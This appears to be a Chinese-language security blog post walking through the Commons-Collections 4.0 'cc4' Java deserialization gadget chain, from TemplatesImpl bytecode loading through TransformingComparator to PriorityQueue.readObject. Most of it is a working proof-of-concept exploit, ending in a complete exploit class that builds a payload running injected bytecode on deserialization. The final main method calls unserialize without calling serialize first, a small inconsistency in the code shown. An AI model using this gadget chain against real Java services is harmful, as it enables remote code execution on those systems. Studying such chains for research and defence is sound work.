Java反序列化-Commons-Collections04-cc4链
前置
- jdk1.8.0_u65
- Commons-Collections 4.0
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
cc4 分析
依旧是从 ChainedTransformer 类入手,找 transform 的 usage


满足条件,继续寻找
在 PriorityQueue 中的 readObject 调用了 heapify 方法


跟进后里面又调用了 siftDown 方法
继续跟进

可以看到这边就调用了我们的 compare 方法
所以 cc4链为:

cc4 poc & Debug
图表示的很清楚了
我们只需要从 cc3 的后半部分链子开始写,所以前半部分直接搬运:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass();
Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "asd");
Field declaredField = c.getDeclaredField("_bytecodes"); declaredField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class")); byte[][] codes = {code}; declaredField.set(templates, codes);
Field declaredField1 = c.getDeclaredField("_tfactory"); declaredField1.setAccessible(true); declaredField1.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
这里唯一需要注意的就是 java import 包的版本不要错误。
- 首先是
TransformingComparator 去调用 transform
看一眼构造函数

可以直接传参:
1
| TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
|
- 接下来是
PriorityQueue 调用 compare 方法
看一眼构造函数:

1
| PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
|
写完了。
反序列化后并没有 calc
Debug
下断点:

看到走到这里没有走进分支
也就是说这里 size 至少要为2
这里直接反射操作了:
1 2 3 4
| Class priorityQueueClass = PriorityQueue.class; Field sizeField = priorityQueueClass.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue, 2);
|
总结
完整 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| package xekoner;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.Transformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class cc4Demo { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass();
Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "asd");
Field declaredField = c.getDeclaredField("_bytecodes"); declaredField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class")); byte[][] codes = {code}; declaredField.set(templates, codes);
Field declaredField1 = c.getDeclaredField("_tfactory"); declaredField1.setAccessible(true); declaredField1.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
Class priorityQueueClass = PriorityQueue.class; Field sizeField = priorityQueueClass.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue, 2);
unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos; oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws ClassNotFoundException, IOException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|